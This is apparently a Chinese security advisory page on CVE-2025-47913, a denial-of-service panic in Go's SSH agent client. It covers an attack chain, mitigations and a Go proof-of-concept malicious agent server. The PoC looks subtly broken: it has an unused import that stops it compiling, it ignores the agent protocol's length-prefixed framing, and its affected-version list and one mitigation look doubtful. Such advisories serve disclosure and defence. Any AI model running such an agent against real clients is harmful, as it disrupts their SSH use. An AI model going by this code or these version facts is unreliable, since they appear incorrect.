IPBUF安全漏洞报告
English
CVE-2025-47913 CVSS 7.5 高危

CVE-2025-47913: Go语言SSH客户端SSH_AGENT_SUCCESS响应处理拒绝服务漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-47913
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Go SSH客户端 (golang.org/x/crypto/ssh)

相关标签

CVE-2025-47913拒绝服务Go语言SSHgolang.org/x/cryptoSSH Agent高危漏洞Panic协议处理

漏洞概述

CVE-2025-47913是Go语言SSH客户端中的一个拒绝服务漏洞。当SSH客户端期望接收特定类型的响应消息时,如果收到了SSH_AGENT_SUCCESS消息,会导致客户端发生panic(运行时恐慌),从而造成客户端进程提前终止。该漏洞的CVSS评分为7.5,属于高危级别,攻击者无需任何认证即可利用此漏洞。攻击向量为网络攻击,攻击复杂度低,且无需用户交互。由于Go语言的SSH库被广泛应用于各种SSH客户端实现中,此漏洞可能影响大量使用golang.org/x/crypto/ssh包的项目和工具。

技术细节

该漏洞存在于Go语言SSH客户端的agent客户端实现中。当SSH agent协议通信过程中,客户端期望收到特定类型的响应(如SSH2_AGENT_REQUEST_IDENTITIES等请求的响应),但服务器端返回了SSH_AGENT_SUCCESS消息时,客户端代码未能正确处理这种异常情况。SSH_AGENT_SUCCESS通常只在特定操作(如添加密钥)成功后才会发送。当客户端收到此消息但期望其他类型的响应时,会触发类型断言失败或未处理的错误条件,导致Go运行时发生panic。由于Go的panic机制会终止当前goroutine,在某些情况下可能导致整个进程崩溃。攻击者可以通过构造恶意的SSH agent服务器或中间人攻击来触发此漏洞。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意的SSH Agent服务器或通过中间人攻击拦截SSH Agent通信
STEP 2
步骤2
受害者使用存在漏洞的Go SSH客户端连接该恶意Agent
STEP 3
步骤3
客户端发送SSH_AGENTC_REQUEST_IDENTITIES请求,期望收到身份列表
STEP 4
步骤4
恶意服务器返回SSH_AGENT_SUCCESS消息(而非SSH_AGENT_IDENTITIES_ANSWER)
STEP 5
步骤5
客户端代码未能正确处理意外消息类型,触发panic导致进程终止
STEP 6
步骤6
受害者无法正常使用SSH客户端功能,攻击成功实现拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "net" "fmt" "github.com/google/uuid" ) // SSH Agent Protocol Message Types const ( SSH_AGENTC_REQUEST_IDENTITIES = 11 SSH_AGENT_SUCCESS = 6 ) // PoC: Malicious SSH Agent Server that sends SSH_AGENT_SUCCESS // when client expects SSH_AGENT_IDENTITIES_ANSWER func main() { listener, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { panic(err) } defer listener.Close() fmt.Printf("Malicious SSH Agent listening on %s\n", listener.Addr()) for { conn, err := listener.Accept() if err != nil { continue } go handleConnection(conn) } } func handleConnection(conn net.Conn) { defer conn.Close() buffer := make([]byte, 1024) for { n, err := conn.Read(buffer) if err != nil { return } if n > 0 && buffer[0] == SSH_AGENTC_REQUEST_IDENTITIES { // Send SSH_AGENT_SUCCESS instead of SSH_AGENT_IDENTITIES_ANSWER // This will trigger panic in vulnerable SSH client response := []byte{SSH_AGENT_SUCCESS, 0, 0, 0} conn.Write(response) fmt.Println("Sent malicious SSH_AGENT_SUCCESS response") } } } // Usage: // 1. Start this malicious agent server // 2. Set SSH_AUTH_SOCK to point to this server // 3. Run vulnerable Go SSH client that calls agent.RequestIdentities() // 4. Client will panic due to unexpected SSH_AGENT_SUCCESS message

影响范围

golang.org/x/crypto < v0.31.0
Go < 1.22.11
Go < 1.23.5

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 检查SSH_AUTH_SOCK环境变量,确保指向可信的Agent;2) 避免连接到不可信的SSH服务器;3) 监控SSH客户端进程的异常终止;4) 使用网络隔离限制对SSH Agent端口的访问;5) 考虑使用静态编译的Go程序以避免运行时版本问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表